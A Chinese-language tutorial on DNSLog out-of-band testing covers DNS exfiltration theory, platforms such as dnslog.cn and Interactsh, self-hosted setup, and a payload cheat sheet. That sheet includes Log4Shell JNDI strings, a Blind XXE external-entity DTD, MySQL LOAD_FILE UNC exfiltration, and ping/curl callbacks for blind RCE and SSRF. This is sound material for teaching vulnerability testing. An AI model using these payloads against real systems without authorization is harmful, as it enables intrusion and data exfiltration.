下面给你一篇 最详细、从原理到搭建再到实战使用的 DNSLog 工具教程,真正做到零基础→精通,一篇就够。

内容结构如下:

  1. DNSLog 是什么?为什么安全测试离不开它
  2. DNS 外带(DNS Exfiltration)原理
  3. DNSLog 工作原理图解
  4. 主流 DNSLog 平台介绍
  5. 本地/私有化 DNSLog 搭建(含 Docker)
  6. 使用方法:漏洞利用 + Payload 示例
  7. 常见使用场景(含 SSRF / RCE / Blind XXE / Log4j)
  8. 常见问题与排错
  9. 给你一份超全 CheatSheet

1️⃣ DNSLog 是什么?

DNSLog = 一个能记录“谁来解析我的域名”的平台。

在安全测试中,经常遇到 盲打漏洞(Blind Vulnerability),也就是:

  • 程序执行了漏洞 Payload
  • 但没有响应输出
  • 也没有报错
  • 不知道是否执行成功

例如:

  • Blind SSRF
  • Blind RCE
  • Blind SQL 注入
  • Blind XXE
  • Log4j JNDI 注入

这些场景都能让漏洞执行外带请求,比如:
DNS、HTTP、LDAP

其中 DNS 最常被使用,因为它:

✔ 不需要 80/443 等端口
✔ 基本被所有服务器允许
✔ 不受防火墙限制
✔ 传输稳定

所以只要目标触发了漏洞,会偷偷向我们的 DNSLog 服务器解析一个域名:

xxx.<random>.dnslog.cn

我们在平台就能看到请求记录,从而确认漏洞被成功利用。


2️⃣ DNS 外带(DNS Exfiltration)原理

DNS 请求会经过目标服务器 → DNS 递归服务器 → 我们的权威 DNS。

流程图:

目标服务器 → 递归DNS → DNSLog 权威服务器 → 返回记录结果

DNSLog 平台做的就是:

  • 提供一个你独享的随机域名
  • 监控所有对该域名的 DNS 查询日志
  • 实时展示在控制台

你只要看到记录 = 漏洞成功触发。


3️⃣ DNSLog 工作原理(图解)

① DNSLog 给你一个子域名

比如:

abcde.dnslog.cn

② 你构造 payload

如 SSRF:

http://evil.com/?x=abcde.dnslog.cn

或 RCE:

ping abcde.dnslog.cn

③ 目标后台执行后发起 DNS 查询

DNSLog 捕获后显示:

2025-11-27 10:23: 192.168.1.10 -> abcde.dnslog.cn

你就知道漏洞“命中”了。


4️⃣ 主流 DNSLog 平台介绍(建议收藏)

平台特点
dnslog.cn最常用,简单稳定
ceye.io支持 DNS / HTTP / RMI,更强大
interactsh (ProjectDiscovery)自动化测试神器,支持 API
xip.io / nip.io可测试 IP 绑定域名
Burp Collaborator专业级,需要 Burp Suite Pro

建议:

  • 临时用:dnslog.cn
  • 自动化扫描:interactsh
  • 企业私有化:自建 DNSLog

5️⃣ 私有化 DNSLog 搭建(推荐 Docker 一键部署)

下面提供 最实用、最稳定的 DNSLog 私有化版本:Interactsh
这是安全圈广泛使用的企业级工具。


🧱 方案 A:Interactsh 一键 Docker 搭建(最推荐)

1. 安装 Docker

apt install docker.io -y        # Debian/Ubuntu
yum install docker -y           # CentOS/RHEL

2. 运行 Interactsh 服务端

docker run -d \
  --name interactsh \
  -p 53:53/udp \
  -p 53:53/tcp \
  -p 80:80 \
  -p 443:443 \
  ghcr.io/projectdiscovery/interactsh-server:latest

3. 开启客户端

interactsh-client -server <你的服务器IP>

每次运行会分配一个唯一域名,例如:

o19ckp9o.oast.pro


🧱 方案 B:传统 DNSLog 平台搭建(dnslog.cn 开源版)

如果你必须搭 dnslog.cn 那种界面,可以使用开源版:

1. 克隆项目

git clone https://github.com/yumusb/DNSLog-Platform-Golang.git

2. 配置 DNS 解析

将你的二级域名(如 log.example.com)设置为:

NS → 你的服务器IP
A → 你的服务器IP

3. 编译运行

go build
./dnslog

浏览器访问:

http://<你的IP>:8080

即可使用。


6️⃣ DNSLog 实战使用(各种漏洞 Payload)

✔ 1. SSRF 测试

http://target.com/?url=http://abcde.dnslog.cn

服务器若访问,会显示解析记录。


✔ 2. RCE / 命令执行验证

ping abcde.dnslog.cn
curl abcde.dnslog.cn
nslookup abcde.dnslog.cn


✔ 3. Log4j(Log4Shell)漏洞验证

${jndi:ldap://abcde.dnslog.cn/calc}

若触发,会看到 DNS 或 LDAP 请求。


✔ 4. Blind XXE

恶意 DTD 示例:

<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://abcde.dnslog.cn">
%ext;
]>


✔ 5. Blind SQL 注入(MySQL)

LOAD_FILE(CONCAT('\\\\',uuid(),'.abcde.dnslog.cn\\test'))


7️⃣ 常见场景与最佳实践

漏洞类型使用方式
SSRF构造 URL 让服务器发请求
RCE构造命令让 shell 执行 ping/curl/nslookup
Log4j使用 JNDI Payload
XXE通过 SYSTEM 外带请求
数据外带(高级)把数据编码拼在子域名上

8️⃣ 常见问题 FAQ

❓ dnslog.cn 老是卡?

换:

  • ceye.io
  • interactsh
  • Burp Collaborator

❓ 我的 DNSLog 不记录?

可能原因:

  • 域名 NS 没配置对
  • DNS 缓存(多换几次子域名)
  • 端口 53 被运营商封锁(使用云服务器一般不会)
  • 防火墙没开放 UDP/TCP 53

❓ 怎么让记录实时自动刷新?

Interactsh 自动推送,无需刷新。


9️⃣ DNSLog CheatSheet(速查表)

目的Payload 示例
SSRF 检测http://xxxx.dnslog.cn
命令执行ping xxxx.dnslog.cn
XXE<!ENTITY % x SYSTEM "http://xxxx.dnslog.cn"> %x;
Log4j${jndi:ldap://xxxx.dnslog.cn/a}
SQL 外带LOAD_FILE('\\\\data.xxxx.dnslog.cn\\a')
自动化使用 interactsh-client